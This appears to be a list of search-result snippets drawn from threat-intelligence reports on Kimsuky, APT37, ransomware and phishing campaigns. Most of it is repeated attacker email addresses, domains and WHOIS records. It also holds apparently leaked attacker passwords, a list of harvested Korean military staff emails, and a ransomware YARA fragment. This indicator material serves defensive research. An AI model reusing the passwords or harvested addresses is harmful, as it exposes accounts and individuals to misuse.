-…","…allmothersorg@hotmail.com - bluelove@india.com - cmostenda01@yahoo.com - cmostenda102@yahoo.com - cmostenda103@yahoo.com - daum14401@zmail.ru - dapplecom2013@yahoo.com - eatleopard00@inbox.com - fastcameron00 - fastcameron11 - fastcameron13 -…","…Email babiest26@outlook.com baras6600@daum.net baras6600@hotmail.com baras6600@proton.me choemiyang@hotmail.com davidmaximy@outlook.com davidmaximy@proton.me dustinharrise91@outlook.com hazama09093@outlook.com info.seclab.noreply@gmail.com…","…baras6600@daum.net baras6600@hotmail.com baras6600@proton.me choemiyang@hotmail.com davidmaximy@outlook.com davidmaximy@proton.me dustinharrise91@outlook.com hazama09093@outlook.com info.seclab.noreply@gmail.com jamejacky55@proton.me…","…combahton GmbH country: DE org-type: LIR address: Mitterfeld 47 address: 85419 address: Mauern address: GERMANY e-mail: decombahton4@combahton.net admin-c: JH29913-RIPE tech-c: JH29913-RIPE abuse-c: AR55171-RIPE mnt-ref: mnt-de-combahton4-1 mnt-by: RIPE-NCC-HM-MNT mnt-by:…","…apollo1030109@gmail.com awed33@outlook.kr belendong40@gmail.com brandonleeodd.93@gmail.com contrasde@outlook.kr devlion413@gmail.com eros1030109@gmail.com hera1030109@gmail.com holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr…","…않았나 생각이 됨 Defense Counterintelligence Command 부분 grep -Fhr 'dec.mil kr' log | uniq jandy3912@dcc.mil.kr_amFuZHkzOTEyQGRjYy5taWwua3I= di031111@dcc.mil.kr_ZGkwMzExMTFAZGNjLm1pbC5rcg== didcdba@dcc.mil.kr_ZGlkY2RiYUBkY2MubWlsLmty jhcgod88@dcc.mil.kr_amhjZ29k0DhAZGNjLm1pbC5rcg== chanchan0616@d…","…부분 grep -Fhr 'dec.mil kr' log | uniq jandy3912@dcc.mil.kr_amFuZHkzOTEyQGRjYy5taWwua3I= di031111@dcc.mil.kr_ZGkwMzExMTFAZGNjLm1pbC5rcg== didcdba@dcc.mil.kr_ZGlkY2RiYUBkY2MubWlsLmty jhcgod88@dcc.mil.kr_amhjZ29k0DhAZGNjLm1pbC5rcg== chanchan0616@dcc.mil.kr_Y2hhbmNoYW4wNjE2QGRjYy5taWwua3I= yib10…","…• haris2022100@outlook.com • bing2020@outlook.kr • marksigal1001@gmail.com • donghyunkim1010@gmail.com • hong_xiao@naver.com • sm.carls0000@gmail.co m • ds1kde@daum.net •…","…emails identified for two related domains; “web-line.work” and “drog-service.com”. Figure 11 - Domains registered with email address dragon1988@india.com Figure 12 - Domains registered with email address okonoki_masao@yahoo.co.jp The domain “Dauum.net” appears to be mimicking the South…","…• donghyunkim1010@gmail.com • hong_xiao@naver.com • sm.carls0000@gmail.co m • ds1kde@daum.net • yoon.dasl@yahoo.com • syshim10@mofa.lat Websites: • sovershopp.online •…","…• seanchung.hanvoice@hotmail.com • pkurui9999@gmail.com • kennedypamla@gmail.com • ds1kdie@aol.com • ssdkfdlsfd@gmail.com • haris2022100@outlook.com • bing2020@outlook.kr •…","…dcc.mil.kr_amhjZ29k0DhAZGNjLm1pbC5rcg== chanchan0616@dcc.mil.kr_Y2hhbmNoYW4wNjE2QGRjYy5taWwua3I= yib100@dcc.mil.kr_eWliMTAwQGRjYy5taWwua3I= Dsc808@dcc.mil.kr_RHNj0DA4QGRjYy5taWwua3I= Base64 부분이 해당 방첩사 메일로 추정되는 목록 2.인프라 구축 서버:VPS 경로 /var/www/html/에 피싱 페이지와 관리 툴 설치 피싱 툴:generator.php(원격…","…E-Mail baras6600@proton.me choemiyang@hotmail.com dustinharrise91@outlook.com jackal3300@proton.me jametony8@outlook.com jamjack2026@proton.me montry111@proton.me sven5500@proton.me…","…baras6600@hotmail.com baras6600@proton.me choemiyang@hotmail.com davidmaximy@outlook.com davidmaximy@proton.me dustinharrise91@outlook.com hazama09093@outlook.com info.seclab.noreply@gmail.com jamejacky55@proton.me jamestony88@proton.me jamjack2026@proton.me…","…was seen in sites that emulated official government agencies like dcc.mil.kr, spo.go.kr, and mofa.go.kr. Whoisof domains created by dysoni91@tutamail.com Historical Whois of webcloud-notice.com Burner email usage added another layer of operational tradecraft.…","…Among them were active logins for mailboxes and VPS accounts, such as: root : 1qaz2wsx dysoni91@tutamail.com : !QAZ4rfv!@#$ https://sg24.vps.bz:4083/center2025a@tutamail.com : H4FHKMWMpX8bZ https://monovm.com/dysoni91@tutamail.com :…","…- cmostenda01@yahoo.com - cmostenda102@yahoo.com - cmostenda103@yahoo.com - daum14401@zmail.ru - dapplecom2013@yahoo.com - eatleopard00@inbox.com - fastcameron00 - fastcameron11 - fastcameron13 - fatpigfarms@hotmail.com - fatpigs9009@hotmail.com -…","…and February 2025 it published 15 alpha versions of @mastra/core ( 0.1.27-alpha.0 through 0.2.0-alpha.87 ), all clean, under the email ehindero2016@gmail.com[email protected] .…","…2 publisher: npm-oidc-no-reply@github.com 3 provenance: yes 4 easy-day-js: no 5 6 @mastra/core@1.42.1 7 publisher: ehindero2016@tutamail.com 8 provenance: no 9 easy-day-js: yes The same fingerprint repeats across the whole scope.…","…account shows signs of takeover rather than insider action, including an email change away from the contributor's original address to ehindero2016@tutamail.com .…","…Both the compromised publisher ( ehindero2016@tutamail.com ) and the typosquat publisher ( sergey2016@tutamail.com ) used the same anonymous email provider, Tutamail. Dependency injection: the…","…- publisher: npm-oidc-no-reply@github.com - provenance: yes - easy-day-js: no @mastra/core@1.42.1 + publisher: ehindero2016@tutamail.com + provenance: no + easy-day-js: yes The same fingerprint repeats across the whole scope.…","…OrgRoutingHandle: EIGAR-ARIN OrgRoutingName: eig-arin OrgRoutingPhone: +1-781-852-3200 OrgRoutingEmail: eig-net-team@endurance.com OrgRoutingRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN OrgNOCHandle: EIGAR-ARIN OrgNOCName: eig-arin OrgNOCPhone:…","…was respo nsible, and it should be analyzed comprehensively together with other technical commonalities. Email Domain Attack Case ejayong@proton.me security.heillamal.com Watering hole attack case by the state-sponsored threat group cowincard.com Watering hole attack case by…","…2SufkFqeegMAAAAAAAAAAXBHNzzqhiDRu4wvncLkI7VIkC8Zd3YkJWlqZbpL8afr E-Mail rolf.gehrung@yandex.com ekta.sahasi@yandex.com ○ Each access token is associated with registrant information as shown above, and both tokens are linked to Russian Yandex…","…E-Mail rolf.gehrung@yandex.com ekta.sahasi@yandex.com ○ 각각의 액세스 토큰 값은 위와 같은 등록자 정보가 확인되며, 2개 모두 러시아 얀덱스(Yandex) 계정을 사용합니다. 4-3.…","…Tearns <emln0reply@protonmail.com> Email Credential harvest delivery February 2025 Microsooft <eml-n0replypro@proton.me> Email Credential harvest delivery February 2025 jetmf.com Domain…","…of compromise Indicator Type Context First Seen Microft Acount Tearns <emln0reply@protonmail.com> Email Credential harvest delivery February 2025 Microsooft <eml-n0replypro@proton.me>…","…that we managed to obtain, we extracted the following email accounts used in this campaign: beautifl@mail.bg ennemyman@mail.bg fasionman@mail.bg happylove@mail.bg lovest000@mail.bg monneyman@mail.bg sportsman@mail.bg veryhappy@mail.bg…","…- motegi21@yahoo.com - evgeny_varganov@mail.ru - evgeny_mono@protonmail.com - p1otnikovan@mail.ru [그림 5] 탈륨, 코니 조직이 사용하는 위협 인프라 연관 흐름도 ESRC는 APT 조직이 사용한 광범위한 위협 인프라 공유 현황을 조사하는 과정 중에서 몇가지 중요한 단서를…","…- motegi21@yahoo.com - evgeny_varganov@mail.ru - evgeny_mono@protonmail.com - p1otnikovan@mail.ru [그림 5] 탈륨, 코니 조직이 사용하는 위협 인프라 연관 흐름도 ESRC는 APT 조직이 사용한 광범위한 위협 인프라…","…Embassy, Eastern Europe Foreign Ministry 2025-03-26 EU political counselors meeting minutes europa EKFELDT Fredrik execuetive.director@gmail.com Western Europe Embassy 2025-05-13 EU Delegation political advisory meeting 0514EU US Embassy Independence Day…","…to obtain, we extracted the following email accounts used in this campaign: beautifl@mail.bg ennemyman@mail.bg fasionman@mail.bg happylove@mail.bg lovest000@mail.bg monneyman@mail.bg sportsman@mail.bg veryhappy@mail.bg 1 2 3 4 5 6 7 8…","…daum14401@zmail.ru - dapplecom2013@yahoo.com - eatleopard00@inbox.com - fastcameron00 - fastcameron11 - fastcameron13 - fatpigfarms@hotmail.com - fatpigs9009@hotmail.com - friendleopard00@aol.com - ganxiangu04@hotmail.com - ganxiangu07@hotmail.com - greatvictoria84…","…- eatleopard00@inbox.com - fastcameron00 - fastcameron11 - fastcameron13 - fatpigfarms@hotmail.com - fatpigs9009@hotmail.com - friendleopard00@aol.com - ganxiangu04@hotmail.com - ganxiangu07@hotmail.com - greatvictoria84 - greatvictoria85 -…","…s24yt@opera.com – d24tf@opera.com – 3wrasd@opera.com – tilmb17.indiatimes.com – jsso.indiatimes.com – voice9911@indiatimes.com – fdjjy456@zoho.com – … 아래의 [표-1]과 [표-2]는 각각 웹 메일계정에 로그인 및 메일전송(파일첨부 기능사용)을 위해 사용되는 데이터 중 일부를 나타낸다. & pass =…","…threat group / Gunra ransomware attack case myonlinestatus.net Watering hole attack case by the state-sponsored threat group finn.bauer0423@proton.me jshosting.me Watering hole attack case by the state-sponsored threat group / Gunra ransomware attack case cloudcontents.info…","…최종 페이로드는 한국의 특정 무료 이메일 서비스 계정을 통해 감염 컴퓨터의 추가 정보를 탈취하는데, 이들은 오랜 기간 'flower9801@daum.net' 주소를 사용하고 있습니다.…","…이때 사용된 위협 행위자의 마스터 이메일 계정은 'flower9801@daum.net' 주소로 보이고, 아주 오랜 기간 악용되고 있는 것으로 판단되어 신속한 조치가 요구됩니 다.…","…& process info) %AppData%\\Mozilla\\plug_in : Encrypted stolen info email info id : 30000.song@daum.net pwd : ****(Not Open) send to : flower9801@hanmail.net Related posts.(in this blog) [JustForFun] VMProtect Windows API Address Decoder 개발기 들어가기 전에..…","…- fastcameron00 - fastcameron11 - fastcameron13 - fatpigfarms@hotmail.com - fatpigs9009@hotmail.com - friendleopard00@aol.com - ganxiangu04@hotmail.com - ganxiangu07@hotmail.com - greatvictoria84 - greatvictoria85 - greatvictoria86 -…","…From: FROM.teamzoom_reply@daum.net 메일 제목: 0000 さんがあなたを予約されたZoomミーティングに招待しています (0000씨가 당신을 예약하신 줌 미팅에 초대하고 있습니다) 메일 본문 내용은 안보 외교 정책 연구회의를 위한 프로그램 안내 내용이며 발표자와 발표…","…'confirm-pw.link', 'com-share.bar', 'nonghyup.website', 'com-gstatic.link', 'jiia.tokyo' 등의 도메인을 피싱에 사용했고, 일부 주소의 등록 정보에 'fullget888@gmail.com' 이메일이 쓰였다.…","…DoYouWantToHaveSexWithCuongDong Contact Schipkealfred@gmail.Com FunhouseRaaS@proton.Me Funhouse8764@tutamail.Com Key Generation Method Random Number + SHA-256 CryptGenRandom + Curve25519 + SHA-512 CryptGenRandom + Curve25519 +…","…DoYouWantToHaveSexWithCuongDong DoYouWantToHaveSexWithCuongDong Contact Schipkealfred@gmail.Com FunhouseRaaS@proton.Me Funhouse8764@tutamail.Com Key Generation Method Random Number + SHA-256 CryptGenRandom + Curve25519 + SHA-512…","…188.241.39.220 (UK) N/A N/A manage-downloader.com 188.241.39.10 (UK) N/A N/A attach-download.net 188.241.58.59 (RO) Jongdae Kim jan g.es@daum.net interpuber.com 46.17.175.29 (US) Swoonchul Kwon bitcoin014@han mail.net rnailb.com 188.241.58.60 (RO) Swoonchul Kwon bitcoin014@han…","…This list is available under Appendix C: Script for more at: We did WHOIS lookups on all hostnames found and find three more emails: gameproducters@outlook.com, tree99111@hotmail.com and laris081000@outlook.com Query: datasource = “whois” AND email = [“gameproducters@outlook.com”,…","…- fastcameron11 - fastcameron13 - fatpigfarms@hotmail.com - fatpigs9009@hotmail.com - friendleopard00@aol.com - ganxiangu04@hotmail.com - ganxiangu07@hotmail.com - greatvictoria84 - greatvictoria85 - greatvictoria86 - greatvictoria87 -…","…- fastcameron13 - fatpigfarms@hotmail.com - fatpigs9009@hotmail.com - friendleopard00@aol.com - ganxiangu04@hotmail.com - ganxiangu07@hotmail.com - greatvictoria84 - greatvictoria85 - greatvictoria86 - greatvictoria87 - hatmainman@hotmail.com - hatwoman40@hotmail.com…","…July is one of the developers of QT Bitcoin Trader) --End similarities-- The strings also reference the name “Gary Mendez” with email garyhmendez@yahoo.com as the author of \"JMTTrader.exe.\" There is also reference to an additional GitHub repository under the name Gary Mendez…","…Email glorify0717@gmail.com mypretty0914@gmail.com norelyeverland@hanmail.net poole.sion2015@yandex.com 参考链接…","…1gai2000@hanmail.net Central Europe Embassy 2025-03-06 Gas facility safety inspection service gas2025 Chang, Hyo Chon goddadyusim@hanmail.net Western Europe Embassy, Southern Europe Embassy 2025-03-18 UNC military event attendee documents 2025UNC Chang, Hyo Cho…","…파일을 공유한 소유자는 'godlemessy@gamil.com' 지메일 계정을 사용하고 있습니다.…","…[그림 5] pCloud 토큰값 및 공격자 계정정보 (gursimran.bindra@yandex.com) [그림 6] 추가 페이로드 다운로드 코드 ESRC는 분석을 진행하는 과정에서 불필요한 더미값으로 용량을 늘린 악성 LNK 파일을 확보하여 추가 분석을 진행하였고, 해당 파일이 위에 분석한 파일과 미끼 파일의…","…Russian Yandex email accounts were identified. Yandex Email Addresses rolf.gehrung@yandex.com ekta.sahasi@yandex.com gursimran.bindra@yandex.com sneha.geethakrishnan@yandex.com ○ In addition, a previous report published on November 6, 2024, titled “ Cyber Reconnaissance…","…악성파일 공격 명령에 활용된 일부 거점 인프라 조사과정에서 러시아 얀덱스(Yandex) 이메일 계정이 다수 식별됐습니다. 얀덱스(Yandex) 주소 rolf.gehrung@yandex.com ekta.sahasi@yandex.com gursimran.bindra@yandex.com sneha.geethakrishnan@yandex.com ○ 한편, 2024년 11월 06일 ' APT37 위협 배후의 사이버 정찰 활동 분석 ' 보고서를 통해 위협 행위자가 사용한 5개의 구글 지메일 계정이 공개된 바 있습니다.…","…tools\\\\Backdoor\\\\powershell\\\\btlc_C\\\\Release\\\\btlc_C.pdb\" $a1 = \"matmq3z3hiovia3voe2tix2x54sghc3tszj74xgdy4tqtypoycszqzqd.onion\" $a2 = \"H0lyGh0st@mail2tor.com\" $b1 = \"We are <HolyGhost>\" $b2 = \"All your important files are stored and encrypted\" $b3 = \"Do not try to decrypt using third party…","…Examples of HolyRS.exe/BTLC.exe ransom note metadata: Attacker email address: H0lyGh0st@mail2tor.com Image location:…","…cybersecurity threats, Sangyoon has developed expertise in threat intelligence, game hacking tools, and malware analysis. Jeonghee Ha-jhha@nshc.net Researcher, Threat Research Lab at NSHC Jeonghee Ha is a researcher at the Threat Research Lab of NSHC.…","…IP addresses 161.97.113.34 91.107.246.107 Email addresses possibly belonging to the TA vergiegpham@gmail.com handgoldlove@gmail.com handgoldlove119@gmail.com rur243@proton.me (from gitlab ekek2-group/ekek2-log-project repo) Posted by Brad Moon…","…161.97.113.34 91.107.246.107 Email addresses possibly belonging to the TA vergiegpham@gmail.com handgoldlove@gmail.com handgoldlove119@gmail.com rur243@proton.me (from gitlab ekek2-group/ekek2-log-project repo) Posted by Brad Moon Email…","…Hansom 랜섬웨어의 랜섬노트 공격자 이메일 주소 – 1 : hansom2008@protonmail.com 공격자 이메일 주소 – 2 : hansompay2008@yandex.com Hansom 랜섬웨어 공격 사례의 가장 큰 특징은 Xctdoor의 초기 버전이 Hansom 랜섬웨어와 함께 사용되었다는 점이다.…","…Hansom ransomware ransom note Threat Actor Email Address – 1: hansom2008@protonmail.Com Threat actor’s email address – 2: hansompay2008@yandex.Com The most notable feature of the Hansom ransomware attack case is that an…","…Hansom ransomware ransom note Threat Actor Email Address – 1: hansom2008@protonmail.Com Threat actor’s email address – 2: hansompay2008@yandex.Com The most notable feature of the Hansom ransomware attack case is that an early version of Xctdoor was used alongside Hansom…","…the following email accounts used in this campaign: beautifl@mail.bg ennemyman@mail.bg fasionman@mail.bg happylove@mail.bg lovest000@mail.bg monneyman@mail.bg sportsman@mail.bg veryhappy@mail.bg 1 2 3 4 5 6 7 8 beautifl @ mail .…","…• kennedypamla@gmail.com • ds1kdie@aol.com • ssdkfdlsfd@gmail.com • haris2022100@outlook.com • bing2020@outlook.kr • marksigal1001@gmail.com • donghyunkim1010@gmail.com •…","…contributed to the repository Foxtopia-NFT/foxtopia-frontend , presented as an NFT application, with a commit signed by the address harper.danie95@gmail.com .…","…- ganxiangu07@hotmail.com - greatvictoria84 - greatvictoria85 - greatvictoria86 - greatvictoria87 - hatmainman@hotmail.com - hatwoman40@hotmail.com - jinmeng288@gmail.com - minliu231@gmail.com - Okokei@india.com - pghlsn333@gmail.com -…","…- greatvictoria84 - greatvictoria85 - greatvictoria86 - greatvictoria87 - hatmainman@hotmail.com - hatwoman40@hotmail.com - jinmeng288@gmail.com - minliu231@gmail.com - Okokei@india.com - pghlsn333@gmail.com - prettysophia00 - prettysophia47…","…baras6600@proton.me choemiyang@hotmail.com davidmaximy@outlook.com davidmaximy@proton.me dustinharrise91@outlook.com hazama09093@outlook.com info.seclab.noreply@gmail.com jamejacky55@proton.me jamestony88@proton.me jamjack2026@proton.me jsykukbang18@kakao.com…","…5i+afIQgYUJb3tylpeGM96dU1MBABvx5BkK5tB0JLiA== ARC-Authentication-Results: i=1; mx.naver.com; spf=pass (mx.naver.com: domain of health-info@internet.ru designates 89.221.237.244 as permitted sender) smtp.mailfrom=health-info@internet.ru; dkim=pass header.i=@internet.ru; dmarc=pass (p=REJECT…","…현재까지 확인된 웹 메일 계정은 아래와 같다. – lucky000@mail.bg – lovelove333@mail.bg – helpyou@mail.bg – monkeyone@mail.bg – AnnaLove1989@ma il.com – skagh1961@mail.com – karena1989@mail.com – jhonin333@india.com –…","…belendong40@gmail.com brandonleeodd.93@gmail.com contrasde@outlook.kr devlion413@gmail.com eros1030109@gmail.com hera1030109@gmail.com holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr johnstones19850308@gmail.com johnstones8888@outlook.com…","…file at work/home/user/.config/Foxit Software/Foxit Reader.conf referenced a file path containing an email address: tmp/kclee/hiaei84@gmail.com.pst_pst_*.msg . 3.2.…","…: ftp.fu-berlin.de FileZilla를 사용해 공개 FTP 미러에 접속 work/home/user/.config/Foxit Software/Foxit Reader.conf : tmp/kclee/hiaei84@gmail.com.pst_pst_*.msg 파일 경로에서 확인한 이메일 3.2.…","…비트코인 포럼에는 여러가지 활동내용이 포함되어 있는데, 그 중에 사용 중인 이메일 주소가 'j ams hine1993@hotmail.com' 발견되었고, 이 계정은 'om*****@hotmail.com 으로 연결되어 있습니다.…","…contrasde@outlook.kr devlion413@gmail.com eros1030109@gmail.com hera1030109@gmail.com holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr johnstones19850308@gmail.com johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr…","…brandonleeodd.93@gmail.com contrasde@outlook.kr devlion413@gmail.com eros1030109@gmail.com hera1030109@gmail.com holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr johnstones19850308@gmail.com johnstones8888@outlook.com kkkkk79@outlook.kr…","…33] 생성된 랜섬노트 화면 2022.08 H0lyGh0st 랜섬웨어 26 속성 값 사이트 링크 http://gcrtutk2fjcut4lmllvkg5dojbwgu4yvw5rqxmpd2xjeqlogrdeyxoad.onion 이메일 holyghost0228@outlook.com 이미지…","…공격자는 발신자 주소를 ‘국세청<hometaxadmin@nts.go.kr>’ 으로 조작하고, 이메일 본문 역시 실제 국세청에서 발송된 안내문처럼 위장하였습니다.…","…• bing2020@outlook.kr • marksigal1001@gmail.com • donghyunkim1010@gmail.com • hong_xiao@naver.com • sm.carls0000@gmail.co m • ds1kde@daum.net • yoon.dasl@yahoo.com •…","…Annex 98: Kimsuky email addresses, websites and virtual currency addresses released by Member States Email Addresses: • hongsiao@naver.com • teriparl25@gmail.com • seanchung.hanvoice@hotmail.com • pkurui9999@gmail.com…","…Also there are two different emails hostingerk1@hotmail.com and hostingerk2@hotmail.com which indicate that their might be a third and fourth.…","…(2019.01.07) 2019 년 1 월 7 일에 통일부 기자단을 대상으로 [ 그림 4] 와 같은 내용의 이메일이 발송되었다 . ▪ 발송자 : 윤 ** (human-ad@hanmail.net) ▪ 제목 : RE: TF 참고자료 ▪ 본문내용 : TF 참고 바랍니다 * 언론사별 브랜드 관련해서 관리 잘해주 세요 ( 비번은 tf) ▪ 첨부파일 : TF 참고 .zip…","…ilovemycubscout@gmail.com a00f105546345756@proton.me 6449a3c1e612168526@proton.me IP: 86.54.28.216 TOX…","…The additional recipient addresses included \" info.seclab.noreply@gmail.com \".…","…현혹하는 유형이 꾸준히 보고되고 있습니다. 해킹 공격은 이메일 수신자들이 의심하지 않도록 발신지 주소를 실제 \"통일부 <nkanalysis@unikorea.go.kr>, 통일연구원<mail-admin@kinu.or.kr>, 국가안보전략연구원 <insspost@inss.re.kr>\" 등의 공식 주소처럼 정교하게 조작하는 수법이 동원되고 있어, 육안으로 발신지만 보고 신뢰해 첨부파일로 무심코 접근할 경우 예기치 못한 해킹 피해로 이어질 수 있습니다. 이번에 발견된 공격은 이메일 본문에 첨부된 악성 HWP 문서 파일을…","…“naver-no-reply@kakao.com” “www.invoice@kakao.com” “www.navercorp@kakao.com” “www.naver.reply@kakao.com” “invoice_hometax@kakao.com” “navercorp-rep1y@daum.net” “invoice.norep1y@daum.net” “nonghyupcorp@daum.net” “f****07@knd.biglobe.ne.jp” 표 1.…","…“invoice_nerolpy@kakao.com” “naver-no-reply@kakao.com” “www.invoice@kakao.com” “www.navercorp@kakao.com” “www.naver.reply@kakao.com”…","…“www.navercorp@kakao.com” “www.naver.reply@kakao.com” “invoice_hometax@kakao.com” “navercorp-rep1y@daum.net” “invoice.norep1y@daum.net” “nonghyupcorp@daum.net” “f****07@knd.biglobe.ne.jp” 표 1.…","…They report on status and transmit infected system information via attachments: iop110112@hotmail.com rsh1213@hotmail.com 1 2 iop110112 @ hotmail .…","…공격자 (추정정보) 2013년 9월 처음 소개된 해당 악성코드는 당시 발견된 공격자 웹 메일 계정( iop110112@hotmail.com , rsh1213@hotmail.com )을 통해 회득한 “kimsukyang”, “Kim asdfa” 정보를 통해 “Kimsuky” 라는 이름으로 명명되었다.…","…objectives. Some of the samples’ strings contain the “Kim” keyword: “kimm.r-naver.com”, “kimsukyang and Kim asdfa” the owner of “iop110112@hotmail.com and rsh1213@hotmail.com domains extracted in one of the first observations. And other IoCs contain “tjkim”, “kimyfrenotsure”, “kimshan”,…","…OrgTechHandle: TECH953-ARIN OrgTechName: Tech OrgTechPhone: +1-415-230-0680 OrgTechEmail: ipadmin@publicdomainregistry.com OrgTechRef: https://rdap.arin.net/registry/entity/TECH953-ARIN OrgRoutingHandle: EIGAR-ARIN OrgRoutingName: eig-arin…","…Southern Europe Foreign Ministry 2025-06-10 UNC Ambassador's Roundtable invitation UNC0625 Ro Seyeon ironc1oud@hanmail.net Eastern Europe Embassy 2025-07-28 Urgent letter from Polish Ambassador Poland0728 N/A timesthemorning@gmail.com…","…xRAT, the final payload Threat Trend Report on ooooo Malware 15 All files uploaded to Google Drive were owned by the account \"iu003830@gmail.com\" , but it is unknown if this account was collected from a victim. Figure 15 .…","…E-Mail baras6600@proton.me choemiyang@hotmail.com dustinharrise91@outlook.com jackal3300@proton.me jametony8@outlook.com jamjack2026@proton.me montry111@proton.me sven5500@proton.me taini7700@outlook.com…","…identified a file via a YARA rule associated to Mustang Panda PlugX malware. 20200623A: Spoofed Google Support Domain Registered Using jackjacko@tutamail.com ThreatConnect Research identified a suspicious Google Support-spoofing domain registered through THCservers on May 28 2020. Technical…","…davidmaximy@proton.me dustinharrise91@outlook.com hazama09093@outlook.com info.seclab.noreply@gmail.com jamejacky55@proton.me jamestony88@proton.me jamjack2026@proton.me jsykukbang18@kakao.com kcscon@proton.me ken0723@kakao.com…","…1000.7BMBOS8GV1ZR 6AWEI2[redacted] dsf dsf alishaross751@zohomail.com 1000.V0J0QN7SJ2N7 V6IZVE[redacted] sdf sdf jamesdeeds385@zohomail.com 1000.2IGB56IS1FHQ 1V332R[redacted] asdf sdaf joyceluke505@zohomail.com 1000.W4V2XMB83C6V FC7DGZ[redacted] dfsd sdf…","…dustinharrise91@outlook.com hazama09093@outlook.com info.seclab.noreply@gmail.com jamejacky55@proton.me jamestony88@proton.me jamjack2026@proton.me jsykukbang18@kakao.com kcscon@proton.me ken0723@kakao.com killer05121@outlook.com…","…E-Mail baras6600@proton.me choemiyang@hotmail.com dustinharrise91@outlook.com jackal3300@proton.me jametony8@outlook.com jamjack2026@proton.me montry111@proton.me sven5500@proton.me taini7700@outlook.com urusa4400@proton.m…","…hazama09093@outlook.com info.seclab.noreply@gmail.com jamejacky55@proton.me jamestony88@proton.me jamjack2026@proton.me jsykukbang18@kakao.com kcscon@proton.me ken0723@kakao.com killer05121@outlook.com leomsoite@gmail.com montry111@proton.me…","…ESRC는 스모크 스크린 배후를 조사하는 과정에서 'NavRAT' 시리즈로 명명된 악성파일 변종 중에 'jamshine1993@hotmail.com' 이메일 계정으로 통신을 시도한 사례를 발견했습니다.…","…서버를 통해서 수집된 정보를 바탕으로 했거나 자체 제작도 하는 악성코드로 개인정보를 획득하지 않았나 생각이 됨 Defense Counterintelligence Command 부분 grep -Fhr 'dec.mil kr' log | uniq jandy3912@dcc.mil.kr_amFuZHkzOTEyQGRjYy5taWwua3I= di031111@dcc.mil.kr_ZGkwMzExMTFAZGNjLm1pbC5rcg== didcdba@dcc.mil.kr_ZGlkY2RiYUBkY2MubWlsLmty jhcgod88@dcc.m…","…Dasi274 계정의 모든 리포지토리를 조회하면 5개의 비공개 리포지토리를 확인할 수 있다. hole_311 hole_408 hole_409 hole_414 star 커밋 로그에서 확인한 계정 이메일 정보는 아래와 같다. janman8907@gmail.com 각 리포지토리들은 조금씩 다른 구성을 가지고 있으며, 미끼 파일 및 피해자 정보 확인 결과 각 리포지토리가 특정 인물을 대상으로 정교하게 짜인 하나의 스피어 피싱 공격과 연계되어 있음을 파악할 수 있었다.…","…Indicators with suspected actor association, but unverified as of this writing, include junknomad.com and insatageram.com (registered with jeanettar671belden@protonmail.com ). Additional pivots of potential interest can be made through other IPs, including 167.114.188.40 , and to a variety of low confidence…","…devlion413@gmail.com eros1030109@gmail.com hera1030109@gmail.com holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr johnstones19850308@gmail.com johnstones8888@outlook.com kkkkk79@outlook.kr tomas3015@outlook.kr trungvo5131993@gmail.com…","…The address jeder97271@wuzak.com is likely linked to phishing kits that operated through TLS proxies, capturing credentials in real time as victims interacted with spoofed…","…, which not only reveal the attacker’s browsing patterns but also expose numerous email addresses he interacted with (examples include jeder97271@wuzak.com, xocaw75424@weiby.com, and many more).…","…dy3912@dcc.mil.kr_amFuZHkzOTEyQGRjYy5taWwua3I= di031111@dcc.mil.kr_ZGkwMzExMTFAZGNjLm1pbC5rcg== didcdba@dcc.mil.kr_ZGlkY2RiYUBkY2MubWlsLmty jhcgod88@dcc.mil.kr_amhjZ29k0DhAZGNjLm1pbC5rcg== chanchan0616@dcc.mil.kr_Y2hhbmNoYW4wNjE2QGRjYy5taWwua3I= yib100@dcc.mil.kr_eWliMTAwQGRjYy5taWwua3I= Dsc808@…","…대한 암호(“ dkdlfkqmdb ???”)는 한국어로 ' 아이라브유 '로 변환되며, 메일 사용자가 등록한 국적은 ' China '로 되어있음을 알 수 있다. [그림-7] 공격자 메일계정 정보(1) (2) jhonin333@india.com 아래의 [그림-8]은 인도 웹 메일계정( jhonin333@india.com )을 통해 확인한 사항으로, 보낸 메일의 제목에는 “jinmyung”(한국이름: 진명)으로 명시되어 있으며, 정보유출 시, 첨부파일로 “1.pdf” 형태를…","…- greatvictoria85 - greatvictoria86 - greatvictoria87 - hatmainman@hotmail.com - hatwoman40@hotmail.com - jinmeng288@gmail.com - minliu231@gmail.com - Okokei@india.com - pghlsn333@gmail.com - prettysophia00 - prettysophia47 - prettysophia48 -…","…– nuttumcg@hotmail.com – qet11@hotmail.com – schyong1213@hotmail.com – mysun1968@hotmail.com – ytkr2013@hotmail.com – jkl110112@hotmail.com – rsh1213@hotmail.com – suhopack@aol.com – unichjid@daum.net – … 위에서 언급된 메일 주소 중, 아래의 [그림-2]는 불가리아 무료 웹메일 “ lovelove333@mail.bg…","Kimsuky Wanna Be Your Social Network Friend Hankuk Jo, Sangyoon Yoo, Jeonghee Ha Threat Research Lab of NSHC 1 ABOUT US Hankuk Jo-hkjo@nshc.net Senior Researcher, Threat Research Lab at NSHC HanKuk Jo is a researcher at the Threat Research Lab of NSHC, specializing in cybersecurity…","…February 2025 jetmf.com Domain Credential harvest delivery February 2025 john.smith.19880@outlook.com Email Malware delivery February 2025 john.dargavel.smith46@gmail.com Email Malware…","…The domain name was registered by an individual named “John Broox” with registrant email address “johnbroox200@gmail.com”. Registrant Name: John Broox Registrant Organization: Registrant Street: 2141 S Archer Ave Registrant City:…","…State/Province: Illinois Registrant Postal Code: 60601 Registrant Country: US Registrant Phone: +1.8133205751 Registrant Email: johnbroox200@gmail.com Name server: 1a7ea920.bitcoin-dns.hosting Name Server: a8332f3a.bitcoin-dns.hosting Name Server: ad636824.bitcoin-dns.hosting Name Server:…","…February 2025 john.smith.19880@outlook.com Email Malware delivery February 2025 john.dargavel.smith46@gmail.com Email Malware delivery February 2025…","…3844EC6EC70347913BD1156F8CD159B8 Emails Brambul sends stolen credentials to whiat1001@gmail.com[email protected] johnS203@yahoo.com[email protected] xiake722@gmail.com[email protected] Brambul Brute-Force Password List See…","…johnson8903013@gmail.com 5.180.208.57 (US) - Clouvider 5.180.208.60 (US) - Clouvider 89.147.101.197 (KR) - Nord VPN 89.187.161.220 (JP) - Astrill VPN…","…eros1030109@gmail.com hera1030109@gmail.com holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr johnstones19850308@gmail.com 